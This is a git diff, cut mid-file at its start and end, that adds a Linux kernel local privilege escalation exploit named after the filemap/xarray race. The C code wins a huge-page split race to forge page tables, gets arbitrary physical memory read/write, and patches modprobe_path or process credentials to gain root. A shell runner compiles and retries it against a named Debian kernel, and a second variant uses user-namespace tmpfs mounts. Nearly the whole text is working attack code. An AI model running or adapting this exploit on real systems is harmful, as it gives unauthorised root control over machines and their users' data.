pmd; + present_pmds++; + } + if (present_pmds != 0) { + success = 1; + winning_fd = fd; + winning_alias = alias; + winning_source = source; + winning_fake_base = fake_base; + winning_pmds = last_present + 1; + printf("PAGE_TABLE_PRIMITIVE round=%d present_pmds=%lu first_pmd=%lu last_pmd=%lu scan_pmds=%lu\n", + i, present_pmds, first_present, last_present, + winning_pmds); + fflush(stdout); + break; + } + munmap(source, SOURCE_SIZE); + munmap(alias, FAKE_ALIAS_SIZE); + close(fd); + if ((i % 100) == 0) { + printf("RACE_PROGRESS round=%d active=%d\n", i, + atomic_load(&active_workers)); + fflush(stdout); + } + } + + atomic_store_explicit(&run_state, 2, memory_order_release); + for (i = 0; i < FAULT_THREADS; i++) + pthread_join(threads[i], NULL); + if (!success) { + printf("PRIMITIVE_NOT_OBSERVED rounds=%d\n", rounds); + return 4; + } + + /* Only PMD spans observed as present are scanned below. Holes remain + * inaccessible and are skipped through the guarded access helpers. */ + fill_fake_ptes(winning_alias, PHYS_BASE_PFN, 1); + { + unsigned long entries; + unsigned long found_i = (unsigned long)-1; + unsigned long found_page = 0; + unsigned char byte = 0; + + mapped_bytes = winning_pmds * PMD_SIZE; + entries = mapped_bytes / PAGE_SIZE; + printf("SAFE_FAKE_SPAN base=%#lx pmds=%lu bytes=%lu physical_pages=%lu\n", + (unsigned long)winning_fake_base, winning_pmds, + mapped_bytes, entries); + fflush(stdout); + + for (unsigned long n = 0; n < entries; n++) { + volatile unsigned char *p = (volatile unsigned char *)winning_fake_base + n * PAGE_SIZE; + if (safe_read(p, &byte) != 0) + continue; + if (memcmp((const void *)p, MARKER_MAGIC, sizeof(MARKER_MAGIC)) == 0) { + memcpy(&found_page, (const void *)(p + 32), sizeof(found_page)); + if (found_page < MARKER_PAGES) { + found_i = n; + break; + } + } + } + if (found_i == (unsigned long)-1) { + printf("PHYSICAL_MARKER_NOT_FOUND sampled_pages=%lu\n", entries); + return 5; + } + { + volatile unsigned char *phys = (volatile unsigned char *)winning_fake_base + found_i * PAGE_SIZE; + unsigned char *orig = (unsigned char *)marker + found_page * PAGE_SIZE; + unsigned char before = orig[128]; + int write_ok = 0; + + if (safe_write(phys + 128, (unsigned char)(before ^ 0xa5)) == 0) + write_ok = orig[128] == (unsigned char)(before ^ 0xa5); + printf("ARBITRARY_PHYSICAL_RW sample_index=%lu pfn=%#lx marker_page=%lu alias_before=%u alias_after=%u write_ok=%d\n", + found_i, PHYS_BASE_PFN + found_i, found_page, + before, orig[128], write_ok); + fflush(stdout); + if (!write_ok) + return 6; + } + } + + { + const unsigned long window_pages = mapped_bytes / PAGE_SIZE; + int credentials_patched = 0; + int root_helper_executed = 0; + unsigned int window_index = 0; + + for (unsigned long base_pfn = PHYS_BASE_PFN; + base_pfn < PHYS_SCAN_LIMIT_PFN; + base_pfn += window_pages) { + if (remap_physical_window(winning_alias, + tlb_flush_pad, + base_pfn, + window_index++) != 0) { + perror("remap physical window"); + return 7; + } + printf("PHYS_WINDOW_REMAP base_pfn=%#lx bytes=%lu\n", + base_pfn, mapped_bytes); + fflush(stdout); + if (patch_modprobe_path(winning_fake_base, + mapped_bytes, base_pfn) == 0) { + root_helper_executed = 1; + break; + } + if (patch_current_credentials(winning_fake_base, + mapped_bytes, + base_pfn) == 0) { + credentials_patched = 1; + break; + } + } + if (root_helper_executed) { + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u root_execution=modprobe_helper\n", + target_euid); + fflush(stdout); + return 0; + } + if (!credentials_patched) { + printf("CREDENTIAL_PATCH_FAILED\n"); + return 7; + } + } + if (prove_root_identity() != 0) { + printf("ROOT_PROOF_FAILED\n"); + return 8; + } + if (prove_post_root_create() != 0) { + printf("POST_ROOT_CREATE_FAILED\n"); + return 9; + } + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u to_uid=%u\n", + target_euid, geteuid()); + fflush(stdout); + sync(); + reboot(RB_POWER_OFF); + for (;;) + pause(); + + (void)winning_source; + (void)winning_fd; + printf("EXPLOIT_STAGE_DONE primitive=controlled_fake_page_tables uid=%u euid=%u\n", + getuid(), geteuid()); + fflush(stdout); + return 0; +} + +int main(int argc, char **argv) +{ + struct utsname uts; + int rounds = DEFAULT_ROUNDS; + const char *env_rounds = getenv("XARR_ROUNDS"); + + if (geteuid() == 0 && argc > 1 && strcmp(argv[1], "-q") == 0) { + if (prove_post_root_create() != 0 || create_root_marker() != 0) + return 1; + return 0; + } + + if (env_rounds) + rounds = atoi(env_rounds); + if (argc > 1) + rounds = atoi(argv[1]); + if (rounds <= 0) + rounds = DEFAULT_ROUNDS; + if (uname(&uts) == 0) + printf("KERNEL_RELEASE %s\n", uts.release); + printf("EXPLOIT_CONFIG rounds=%d source_exec=1 delay_period=%u delay_step=%u fault_access=read soft_dirty_clear=0 tlb_flush_pages=%lu worker_cpus=unbound main_cpu=unbound\n", + rounds, DELAY_PERIOD, DELAY_STEP, TLB_FLUSH_PAGES); + fflush(stdout); + return run_exploit(rounds); +} diff --git a/dirty-crow-xarray-lpe/framework/baseline/run-filemap-xarray-lpe.sh b/dirty-crow-xarray-lpe/framework/baseline/run-filemap-xarray-lpe.sh new file mode 100644 index 0000000..3910ffe --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/baseline/run-filemap-xarray-lpe.sh @@ -0,0 +1,89 @@ +#!/bin/sh +set -eu + +here=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) +source_file="$here/filemap_xarray_lts_full_exploit.c" +binary=${XARR_BINARY:-"$here/filemap-xarray-lpe"} +rounds=${XARR_ROUNDS:-5000} +attempts=${XARR_ATTEMPTS:-3} +root_command=${XARR_ROOT_COMMAND:-} +root_shell=${XARR_ROOT_SHELL:-0} + +case "$(uname -s):$(uname -m)" in + Linux:x86_64) ;; + *) echo "unsupported platform: this PoC requires x86-64 Linux" >&2; exit 2 ;; +esac + +if [ "$(id -u)" -eq 0 ]; then + echo "refusing to start as root; run as an ordinary user" >&2 + exit 2 +fi + +case "$rounds:$attempts" in + *[!0-9:]*|0:*|*:0) echo "XARR_ROUNDS and XARR_ATTEMPTS must be positive integers" >&2; exit 2 ;; +esac + +page_size=$(getconf PAGESIZE) +if [ "$page_size" -ne 4096 ]; then + echo "unsupported page size: $page_size (requires 4096)" >&2 + exit 2 +fi + +available_kb=$(awk '/^MemAvailable:/ { print $2; exit }' /proc/meminfo) +if [ -n "$available_kb" ] && [ "$available_kb" -lt 524288 ]; then + echo "insufficient available memory: ${available_kb} KiB (requires at least 524288 KiB)" >&2 + exit 2 +fi + +shmem_policy=/sys/kernel/mm/transparent_hugepage/shmem_enabled +if [ -r "$shmem_policy" ] && grep -q '\[never\]' "$shmem_policy"; then + echo "shmem THP policy is 'never'; the vulnerable split race is not reachable with this PoC" >&2 + exit 2 +fi + +if [ ! -x "$binary" ] || [ "$source_file" -nt "$binary" ]; then + compiler=${CC:-cc} + if ! command -v "$compiler" >/dev/null 2>&1; then + echo "compiler not found: $compiler" >&2 + exit 2 + fi + "$compiler" -O2 -Wall -Wextra -Werror -pthread "$source_file" -o "$binary" +fi + +echo "kernel=$(uname -r) rounds=$rounds attempts=$attempts" +echo "validated release: Debian 6.12.105+deb13-amd64; other builds require separate confirmation" +echo "warning: the PoC retains its corrupted mm in xarr-mm-holder; reboot the guest after use and never kill that holder" + +attempt=1 +while [ "$attempt" -le "$attempts" ]; do + echo "attempt=$attempt/$attempts" + set +e + if [ -n "$root_command" ]; then + env XARR_ROOT_COMMAND="$root_command" XARR_ROOT_SHELL=0 \ + "$binary" "$rounds" + else + env XARR_ROOT_SHELL="$root_shell" "$binary" "$rounds" + fi + rc=$? + set -e + case "$rc" in + 0) + echo "privilege escalation completed; xarr-mm-holder remains intentionally alive" + echo "reboot the guest to release the retained corrupted address space" + exit 0 + ;; + 4) + if [ "$attempt" -lt "$attempts" ]; then + echo "race primitive not observed; retrying" + fi + ;; + *) + echo "PoC stopped at a non-retryable stage (exit $rc)" >&2 + exit "$rc" + ;; + esac + attempt=$((attempt + 1)) +done + +echo "race primitive was not observed in $attempts attempts" >&2 +exit 4 diff --git a/dirty-crow-xarray-lpe/framework/baseline/v5.17/filemap-xarray-v5.17.c b/dirty-crow-xarray-lpe/framework/baseline/v5.17/filemap-xarray-v5.17.c new file mode 100644 index 0000000..b667380 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/baseline/v5.17/filemap-xarray-v5.17.c @@ -0,0 +1,2254 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef MADV_COLLAPSE +#define MADV_COLLAPSE 25 +#endif +#ifndef MAP_FIXED_NOREPLACE +#define MAP_FIXED_NOREPLACE 0x100000 +#endif + +#define PAGE_SIZE 4096UL +#define PMD_SIZE (2UL * 1024 * 1024) +#define PUD_SIZE (1024UL * 1024 * 1024) +#define SOURCE_ENTRY 2UL +#define SOURCE_SIZE (16UL * PAGE_SIZE) +#define SOURCE_PGOFF 256UL +#ifndef RACE_FILE_BASE_PGOFF +#define RACE_FILE_BASE_PGOFF 0UL +#endif +#if (RACE_FILE_BASE_PGOFF & 511UL) != 0 +#error RACE_FILE_BASE_PGOFF must be 512-page aligned +#endif +#define CORRUPT_FIRST_PMD 320UL +#define FAKE_PT_PAGES 192UL +#define SAFE_FAKE_PT_PAGES 64UL +#define HIGH_FAKE_PMD_OFFSET 64UL +#define HIGH_FAKE_PT_PAGES 128UL +#define PHYS_BASE_PFN 0x100UL +#define LEGACY_PHYS_SCAN_LIMIT_PFN ((2560UL * 1024UL * 1024UL) / PAGE_SIZE) +#define FAKE_WINDOW_SIZE (FAKE_PT_PAGES * PMD_SIZE) +#define FAKE_ALIAS_SIZE (FAKE_PT_PAGES * PAGE_SIZE) +#define LAYOUT_PMD_SLOTS ((2UL * PUD_SIZE) / PMD_SIZE) +#define PUD_PMD_SLOTS (PUD_SIZE / PMD_SIZE) +#define DEFAULT_ROUNDS 20000 +#ifndef FAULT_THREADS +#define FAULT_THREADS 8 +#endif +#ifndef RACE_SOURCE_VIEWS +#define RACE_SOURCE_VIEWS 8 +#endif +#if RACE_SOURCE_VIEWS < 1 || RACE_SOURCE_VIEWS > 16 +#error RACE_SOURCE_VIEWS must be between 1 and 16 +#endif +#ifndef RACE_LAYOUT_CANDIDATE +#define RACE_LAYOUT_CANDIDATE 0 +#endif +#if RACE_LAYOUT_CANDIDATE > 1 +#error RACE_LAYOUT_CANDIDATE must be zero or one +#endif +#define DEFAULT_MARKER_PAGES 32768UL +#define MAX_DEFAULT_MARKER_PAGES 131072UL +#define MAX_PHYS_RANGES 128U +#define BOUNDED_CPU_COUNT 4U +#define PHYS_LOCALITY_RADIUS_PFN ((256UL * 1024UL * 1024UL) / PAGE_SIZE) +#define TLB_FLUSH_PAGES 128UL +#ifndef DELAY_PERIOD +#define DELAY_PERIOD 100U +#endif +#ifndef DELAY_STEP +#define DELAY_STEP 10U +#endif +#ifndef STARTUP_WAIT_ACTIVE +#define STARTUP_WAIT_ACTIVE 1 +#endif +#ifndef STARTUP_WAIT_ALL_WORKERS +#define STARTUP_WAIT_ALL_WORKERS 1 +#endif +#ifndef RACE_MEMBARRIER_SHOTS +#define RACE_MEMBARRIER_SHOTS 0 +#endif +#ifndef RACE_TIMER_NS +#define RACE_TIMER_NS 100000UL +#endif +#ifndef RACE_TIMERS_PER_WORKER +#define RACE_TIMERS_PER_WORKER 8 +#endif +#ifndef RACE_PIN_WORKERS +#define RACE_PIN_WORKERS 0 +#endif +#ifndef RACE_MEMBARRIER_WORKERS +#define RACE_MEMBARRIER_WORKERS 0 +#endif +#ifndef RACE_MUTATION_MODE +#define RACE_MUTATION_MODE 0 +#endif +#ifndef RACE_COLLAPSE_ATTEMPTS +#define RACE_COLLAPSE_ATTEMPTS 1 +#endif +#define MARKER_MAGIC "XARR-PHYS-MARK!" +#define ROOT_PROOF_PATH "/root/filemap-xarray-root-proof" +#define ROOT_PROOF_TEXT "filemap-xarray-root-proof" +#define POST_ROOT_PATH_PREFIX "/root/filemap-xarray-post-root" +#define POST_ROOT_TEXT "filemap-xarray-post-root" +#define MODPROBE_TRIGGER_PATH "/tmp/filemap-xarray-binfmt-trigger" +#define MODPROBE_PATH_ORIGINAL "/sbin/modprobe" +#define CAP_VALID_MASK_7_1 0x000001ffffffffffULL +#define ROOT_REQUIRED_CAPS ((1ULL << CAP_CHOWN) | \ + (1ULL << CAP_DAC_OVERRIDE) | \ + (1ULL << CAP_SETGID) | (1ULL << CAP_SETUID)) + +#define PTE_PRESENT (1ULL << 0) +#define PTE_RW (1ULL << 1) +#define PTE_USER (1ULL << 2) +#define PTE_ACCESSED (1ULL << 5) +#define PTE_DIRTY (1ULL << 6) +#define PTE_NX (1ULL << 63) +#define USER_PTE_FLAGS (PTE_NX | PTE_DIRTY | PTE_ACCESSED | PTE_USER | PTE_RW | PTE_PRESENT) + +enum race_cpu_profile { + CPU_PROFILE_UNBOUND, + CPU_PROFILE_SPREAD, + CPU_PROFILE_COMPACT, + CPU_PROFILE_BOUNDED, +}; + +struct phys_range { + unsigned long start_pfn; + unsigned long end_pfn; +}; + +static enum race_cpu_profile race_cpu_profile = + RACE_PIN_WORKERS ? CPU_PROFILE_SPREAD : CPU_PROFILE_UNBOUND; +static int allowed_cpus[CPU_SETSIZE]; +static unsigned int allowed_cpu_count; +static unsigned long marker_pages = DEFAULT_MARKER_PAGES; +static unsigned long phys_scan_limit_pfn = ULONG_MAX; +static struct phys_range phys_ranges[MAX_PHYS_RANGES]; +static unsigned int phys_range_count; +static const char *phys_range_source = "none"; + +static atomic_int run_state; +static atomic_int active_workers; +static uid_t target_ruid, target_euid, target_suid; +static gid_t target_rgid, target_egid, target_sgid; +static int root_proof_required; +static char post_root_path[128]; +static char modprobe_helper_path[sizeof(MODPROBE_PATH_ORIGINAL)]; +static char modprobe_marker_path[64]; +static atomic_int fault_callers; +static atomic_int fault_release; +static atomic_ulong membarrier_calls; +static _Atomic(char *) fault_addrs[RACE_SOURCE_VIEWS]; +static int sink_fd = -1; +static sigjmp_buf fault_jmp; +static volatile sig_atomic_t fault_guard; + +static int huge_tmpfs_dirfd = -1; +static int huge_tmpfs_control = -1; +static pid_t huge_tmpfs_helper = -1; + +static int write_text_file(const char *path, const char *text) +{ + int fd = open(path, O_WRONLY | O_CLOEXEC); + ssize_t length = (ssize_t)strlen(text); + ssize_t written; + + if (fd < 0) + return -1; + written = write(fd, text, (size_t)length); + close(fd); + return written == length ? 0 : -1; +} + +static int send_directory_fd(int sock, int fd) +{ + char byte = 'F'; + struct iovec iov = { .iov_base = &byte, .iov_len = 1 }; + char control[CMSG_SPACE(sizeof(fd))]; + struct msghdr msg = { + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = control, + .msg_controllen = sizeof(control), + }; + struct cmsghdr *cmsg; + + memset(control, 0, sizeof(control)); + cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_SOCKET; + cmsg->cmsg_type = SCM_RIGHTS; + cmsg->cmsg_len = CMSG_LEN(sizeof(fd)); + memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd)); + return sendmsg(sock, &msg, 0) == 1 ? 0 : -1; +} + +static int receive_directory_fd(int sock) +{ + char byte; + struct iovec iov = { .iov_base = &byte, .iov_len = 1 }; + char control[CMSG_SPACE(sizeof(int))]; + struct msghdr msg = { + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = control, + .msg_controllen = sizeof(control), + }; + struct cmsghdr *cmsg; + int fd = -1; + + if (recvmsg(sock, &msg, 0) != 1) + return -1; + cmsg = CMSG_FIRSTHDR(&msg); + if (!cmsg || cmsg->cmsg_level != SOL_SOCKET || + cmsg->cmsg_type != SCM_RIGHTS || + cmsg->cmsg_len < CMSG_LEN(sizeof(fd))) + return -1; + memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd)); + return fd; +} + +static void huge_tmpfs_mount_helper(int sock) +{ + char command; + char mountpoint[96]; + int dirfd; + + if (unshare(CLONE_NEWUSER) != 0 || write(sock, "R", 1) != 1 || + read(sock, &command, 1) != 1 || command != 'G' || + unshare(CLONE_NEWNS) != 0) + _exit(1); + (void)mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL); + snprintf(mountpoint, sizeof(mountpoint), "/tmp/xarray-thp-%ld", + (long)getpid()); + if (mkdir(mountpoint, 0700) != 0 || + mount("tmpfs", mountpoint, "tmpfs", MS_NODEV | MS_NOSUID, + "size=32m,mode=0700,huge=always") != 0) + _exit(1); + dirfd = open(mountpoint, O_RDONLY | O_DIRECTORY | O_CLOEXEC); + if (dirfd < 0 || send_directory_fd(sock, dirfd) != 0) + _exit(1); + close(dirfd); + while (read(sock, &command, 1) > 0) + ; + _exit(0); +} + +static int open_userns_huge_tmpfs(void) +{ + char path[64]; + char map[64]; + char ready; + int sv[2]; + int dirfd; + pid_t helper; + + if (socketpair(AF_UNIX, SOCK_SEQPACKET | SOCK_CLOEXEC, 0, sv) != 0) + return -1; + helper = fork(); + if (helper < 0) { + close(sv[0]); + close(sv[1]); + return -1; + } + if (helper == 0) { + close(sv[0]); + huge_tmpfs_mount_helper(sv[1]); + } + close(sv[1]); + if (read(sv[0], &ready, 1) != 1 || ready != 'R') + goto fail; + snprintf(path, sizeof(path), "/proc/%ld/setgroups", (long)helper); + if (write_text_file(path, "deny\n") != 0) + goto fail; + snprintf(path, sizeof(path), "/proc/%ld/uid_map", (long)helper); + snprintf(map, sizeof(map), "0 %lu 1\n", (unsigned long)getuid()); + if (write_text_file(path, map) != 0) + goto fail; + snprintf(path, sizeof(path), "/proc/%ld/gid_map", (long)helper); + snprintf(map, sizeof(map), "0 %lu 1\n", (unsigned long)getgid()); + if (write_text_file(path, map) != 0 || + write(sv[0], "G", 1) != 1) + goto fail; + dirfd = receive_directory_fd(sv[0]); + if (dirfd < 0) + goto fail; + huge_tmpfs_control = sv[0]; + huge_tmpfs_helper = helper; + return dirfd; +fail: + close(sv[0]); + waitpid(helper, NULL, 0); + return -1; +} + + + +static void fault_signal(int sig) +{ + if (fault_guard) + siglongjmp(fault_jmp, sig); + _exit(128 + sig); +} + +static int safe_read(const volatile unsigned char *p, unsigned char *out) +{ + int sig = sigsetjmp(fault_jmp, 1); + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *out = *p; + fault_guard = 0; + return 0; +} + +static int safe_write(volatile unsigned char *p, unsigned char value) +{ + int sig = sigsetjmp(fault_jmp, 1); + + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *p = value; + fault_guard = 0; + return 0; +} + +static const char *cpu_profile_name(void) +{ + switch (race_cpu_profile) { + case CPU_PROFILE_SPREAD: + return "spread"; + case CPU_PROFILE_COMPACT: + return "compact"; + case CPU_PROFILE_BOUNDED: + return "bounded"; + default: + return "unbound"; + } +} + +static int parse_mib_env(const char *name, unsigned long *mib_out) +{ + const char *value = getenv(name); + char *end; + unsigned long mib; + + if (value == NULL || value[0] == '\0') + return 0; + errno = 0; + mib = strtoul(value, &end, 10); + if (errno != 0 || end == value || *end != '\0' || mib == 0 || + mib > ULONG_MAX / (1024UL * 1024UL)) { + fprintf(stderr, "%s must be a positive MiB value\n", name); + return -1; + } + *mib_out = mib; + return 1; +} + +static int configure_runtime(void) +{ + const char *profile = getenv("XARR_CPU_PROFILE"); + cpu_set_t set; + struct sysinfo info; + unsigned long marker_mib; + unsigned long limit_mib; + unsigned long long total_bytes = 0; + int parsed; + int profile_auto = 0; + + if (profile != NULL && profile[0] != '\0') { + if (strcmp(profile, "auto") == 0) { + profile_auto = 1; + race_cpu_profile = CPU_PROFILE_UNBOUND; + } else if (strcmp(profile, "unbound") == 0) { + race_cpu_profile = CPU_PROFILE_UNBOUND; + } else if (strcmp(profile, "spread") == 0) { + race_cpu_profile = CPU_PROFILE_SPREAD; + } else if (strcmp(profile, "compact") == 0) { + race_cpu_profile = CPU_PROFILE_COMPACT; + } else if (strcmp(profile, "bounded") == 0) { + race_cpu_profile = CPU_PROFILE_BOUNDED; + } else { + fprintf(stderr, + "XARR_CPU_PROFILE must be auto, unbound, spread, compact, or bounded\n"); + return -1; + } + } + + if (sched_getaffinity(0, sizeof(set), &set) != 0) { + perror("read allowed CPU set"); + return -1; + } + for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) { + if (CPU_ISSET(cpu, &set)) + allowed_cpus[allowed_cpu_count++] = cpu; + } + if (allowed_cpu_count == 0) { + fprintf(stderr, "empty allowed CPU set\n"); + return -1; + } + if (profile_auto && allowed_cpu_count > BOUNDED_CPU_COUNT) + race_cpu_profile = CPU_PROFILE_BOUNDED; + + if (sysinfo(&info) == 0 && info.mem_unit != 0 && + (unsigned long long)info.totalram <= + ULLONG_MAX / (unsigned long long)info.mem_unit) + total_bytes = (unsigned long long)info.totalram * + (unsigned long long)info.mem_unit; + if (total_bytes != 0) { + unsigned long adaptive_pages = + (unsigned long)(total_bytes / 32ULL / PAGE_SIZE); + + if (adaptive_pages > marker_pages) + marker_pages = adaptive_pages; + if (marker_pages > MAX_DEFAULT_MARKER_PAGES) + marker_pages = MAX_DEFAULT_MARKER_PAGES; + } + parsed = parse_mib_env("XARR_MARKER_MIB", &marker_mib); + if (parsed < 0) + return -1; + if (parsed > 0) { + unsigned long long requested_bytes = + (unsigned long long)marker_mib * 1024ULL * 1024ULL; + + if (total_bytes != 0 && requested_bytes > total_bytes / 2ULL) { + fprintf(stderr, + "XARR_MARKER_MIB exceeds half of physical RAM\n"); + return -1; + } + marker_pages = (unsigned long)(requested_bytes / PAGE_SIZE); + } + + parsed = parse_mib_env("XARR_PHYS_LIMIT_MIB", &limit_mib); + if (parsed < 0) + return -1; + if (parsed > 0) + phys_scan_limit_pfn = + (limit_mib * 1024UL * 1024UL) / PAGE_SIZE; + return 0; +} + +static int pin_current_thread(unsigned int slot) +{ + cpu_set_t set; + int cpu; + + if (allowed_cpu_count == 0) + return -1; + cpu = allowed_cpus[slot % allowed_cpu_count]; + CPU_ZERO(&set); + CPU_SET(cpu, &set); + return pthread_setaffinity_np(pthread_self(), sizeof(set), &set); +} + +static int set_profile_affinity(unsigned int slot) +{ + cpu_set_t set; + unsigned int count; + + if (race_cpu_profile == CPU_PROFILE_UNBOUND) + return 0; + if (race_cpu_profile != CPU_PROFILE_BOUNDED) + return pin_current_thread(slot); + count = allowed_cpu_count < BOUNDED_CPU_COUNT ? + allowed_cpu_count : BOUNDED_CPU_COUNT; + CPU_ZERO(&set); + for (unsigned int i = 0; i < count; i++) + CPU_SET(allowed_cpus[i], &set); + return pthread_setaffinity_np(pthread_self(), sizeof(set), &set); +} + +static int phys_range_compare(const void *left, const void *right) +{ + const struct phys_range *a = left; + const struct phys_range *b = right; + + if (a->start_pfn < b->start_pfn) + return -1; + if (a->start_pfn > b->start_pfn) + return 1; + return 0; +} + +static int add_phys_range(unsigned long start_pfn, unsigned long end_pfn) +{ + if (start_pfn < PHYS_BASE_PFN) + start_pfn = PHYS_BASE_PFN; + if (end_pfn > phys_scan_limit_pfn) + end_pfn = phys_scan_limit_pfn; + if (start_pfn >= end_pfn) + return 0; + if (phys_range_count >= MAX_PHYS_RANGES) + return -1; + phys_ranges[phys_range_count++] = (struct phys_range) { + .start_pfn = start_pfn, + .end_pfn = end_pfn, + }; + return 0; +} + +static void normalize_phys_ranges(void) +{ + unsigned int output = 0; + + qsort(phys_ranges, phys_range_count, sizeof(phys_ranges[0]), + phys_range_compare); + for (unsigned int i = 0; i < phys_range_count; i++) { + if (output != 0 && + phys_ranges[i].start_pfn <= phys_ranges[output - 1].end_pfn) { + if (phys_ranges[i].end_pfn > + phys_ranges[output - 1].end_pfn) + phys_ranges[output - 1].end_pfn = + phys_ranges[i].end_pfn; + continue; + } + phys_ranges[output++] = phys_ranges[i]; + } + phys_range_count = output; +} + +static int load_sysfs_memory_ranges(void) +{ + char online[16384]; + unsigned long long block_size; + unsigned long block_pages; + FILE *block_file; + FILE *online_file; + size_t bytes; + char *cursor; + + block_file = fopen("/sys/devices/system/memory/block_size_bytes", "re"); + if (block_file == NULL) + return 0; + if (fscanf(block_file, "%llx", &block_size) != 1 || + fclose(block_file) != 0 || block_size == 0 || + block_size % PAGE_SIZE != 0 || + block_size / PAGE_SIZE > ULONG_MAX) + return 0; + block_pages = (unsigned long)(block_size / PAGE_SIZE); + online_file = fopen("/sys/devices/system/memory/online", "re"); + if (online_file == NULL) + return 0; + bytes = fread(online, 1, sizeof(online) - 1, online_file); + if (ferror(online_file) || fclose(online_file) != 0 || + bytes == 0 || bytes == sizeof(online) - 1) + return 0; + online[bytes] = '\0'; + + cursor = online; + while (*cursor != '\0') { + unsigned long long first; + unsigned long long last; + char *end; + + while (*cursor == ',' || isspace((unsigned char)*cursor)) + cursor++; + if (*cursor == '\0') + break; + errno = 0; + first = strtoull(cursor, &end, 10); + if (errno != 0 || end == cursor) + return 0; + cursor = end; + last = first; + if (*cursor == '-') { + cursor++; + errno = 0; + last = strtoull(cursor, &end, 10); + if (errno != 0 || end == cursor || last < first) + return 0; + cursor = end; + } + if (last == ULLONG_MAX || + first > ULONG_MAX / block_pages || + last + 1ULL > ULONG_MAX / block_pages || + add_phys_range((unsigned long)first * block_pages, + (unsigned long)(last + 1ULL) * + block_pages) != 0) + return -1; + while (*cursor != '\0' && *cursor != ',') + cursor++; + } + return phys_range_count != 0; +} + +static int load_iomem_ranges(void) +{ + char line[256]; + FILE *file = fopen("/proc/iomem", "re"); + + if (file == NULL) + return 0; + while (fgets(line, sizeof(line), file) != NULL) { + unsigned long long start; + unsigned long long end; + char label[96]; + + if (sscanf(line, "%llx-%llx : %95[^\n]", &start, &end, + label) != 3 || + strcmp(label, "System RAM") != 0 || end < start || + end == ULLONG_MAX) + continue; + if (start / PAGE_SIZE > ULONG_MAX || + (end + 1ULL) / PAGE_SIZE > ULONG_MAX || + add_phys_range((unsigned long)(start / PAGE_SIZE), + (unsigned long)((end + 1ULL) / + PAGE_SIZE)) != 0) { + fclose(file); + return -1; + } + } + fclose(file); + return phys_range_count != 0; +} + +static int load_zoneinfo_ranges(void) +{ + char line[256]; + unsigned long start_pfn = 0; + unsigned long spanned = 0; + int have_start = 0; + int have_spanned = 0; + FILE *file = fopen("/proc/zoneinfo", "re"); + + if (file == NULL) + return 0; + while (fgets(line, sizeof(line), file) != NULL) { + if (strncmp(line, "Node ", 5) == 0) { + if (have_start && have_spanned && spanned != 0 && + start_pfn <= ULONG_MAX - spanned && + add_phys_range(start_pfn, + start_pfn + spanned) != 0) { + fclose(file); + return -1; + } + have_start = 0; + have_spanned = 0; + continue; + } + if (sscanf(line, " start_pfn: %lu", &start_pfn) == 1) + have_start = 1; + else if (sscanf(line, " spanned %lu", &spanned) == 1) + have_spanned = 1; + } + if (have_start && have_spanned && spanned != 0 && + start_pfn <= ULONG_MAX - spanned && + add_phys_range(start_pfn, start_pfn + spanned) != 0) { + fclose(file); + return -1; + } + fclose(file); + return phys_range_count != 0; +} + +static int load_fallback_phys_range(void) +{ + struct sysinfo info; + unsigned long long total_bytes; + unsigned long pages; + + if (sysinfo(&info) != 0 || info.mem_unit == 0 || + (unsigned long long)info.totalram > + ULLONG_MAX / (unsigned long long)info.mem_unit) + return 0; + total_bytes = (unsigned long long)info.totalram * + (unsigned long long)info.mem_unit; + if (total_bytes / PAGE_SIZE > ULONG_MAX) + return 0; + pages = (unsigned long)(total_bytes / PAGE_SIZE); + return add_phys_range(PHYS_BASE_PFN, pages) == 0 && + phys_range_count != 0; +} + +static int load_phys_scan_plan(void) +{ + int loaded; + unsigned long total_pages = 0; + unsigned long long total_scan_bytes; + + phys_range_count = 0; + loaded = load_sysfs_memory_ranges(); + if (loaded < 0) + return -1; + if (loaded > 0) + phys_range_source = "sysfs-memory-online"; + else { + phys_range_count = 0; + loaded = load_iomem_ranges(); + if (loaded < 0) + return -1; + if (loaded > 0) + phys_range_source = "proc-iomem"; + } + if (loaded == 0) { + phys_range_count = 0; + loaded = load_zoneinfo_ranges(); + if (loaded < 0) + return -1; + if (loaded > 0) + phys_range_source = "proc-zoneinfo"; + } + if (loaded == 0) { + phys_range_count = 0; + loaded = load_fallback_phys_range(); + if (loaded <= 0) + return -1; + phys_range_source = "sysinfo-contiguous-fallback"; + } + normalize_phys_ranges(); + for (unsigned int i = 0; i < phys_range_count; i++) { + unsigned long pages = + phys_ranges[i].end_pfn - phys_ranges[i].start_pfn; + + if (total_pages > ULONG_MAX - pages) + total_pages = ULONG_MAX; + else + total_pages += pages; + } + total_scan_bytes = + total_pages > ULLONG_MAX / PAGE_SIZE ? + ULLONG_MAX : (unsigned long long)total_pages * PAGE_SIZE; + printf("PHYS_SCAN_PLAN source=%s ranges=%u pages=%lu bytes=%llu limit_pfn=%#lx\n", + phys_range_source, phys_range_count, total_pages, + total_scan_bytes, phys_scan_limit_pfn); + for (unsigned int i = 0; i < phys_range_count; i++) + printf("PHYS_SCAN_RANGE index=%u start_pfn=%#lx end_pfn=%#lx pages=%lu\n", + i, phys_ranges[i].start_pfn, phys_ranges[i].end_pfn, + phys_ranges[i].end_pfn - phys_ranges[i].start_pfn); + fflush(stdout); + return 0; +} + +static int mm_holder_main(void *unused) +{ + uint64_t blocked = ~0ULL; + + (void)unused; + (void)syscall(SYS_prctl, PR_SET_NAME, "xarr-mm-holder", 0, 0, 0); + (void)syscall(SYS_rt_sigprocmask, SIG_SETMASK, &blocked, NULL, + sizeof(blocked)); + for (;;) + (void)syscall(SYS_pause); + return 0; +} + +static pid_t preserve_corrupted_mm(void) +{ + const size_t stack_size = 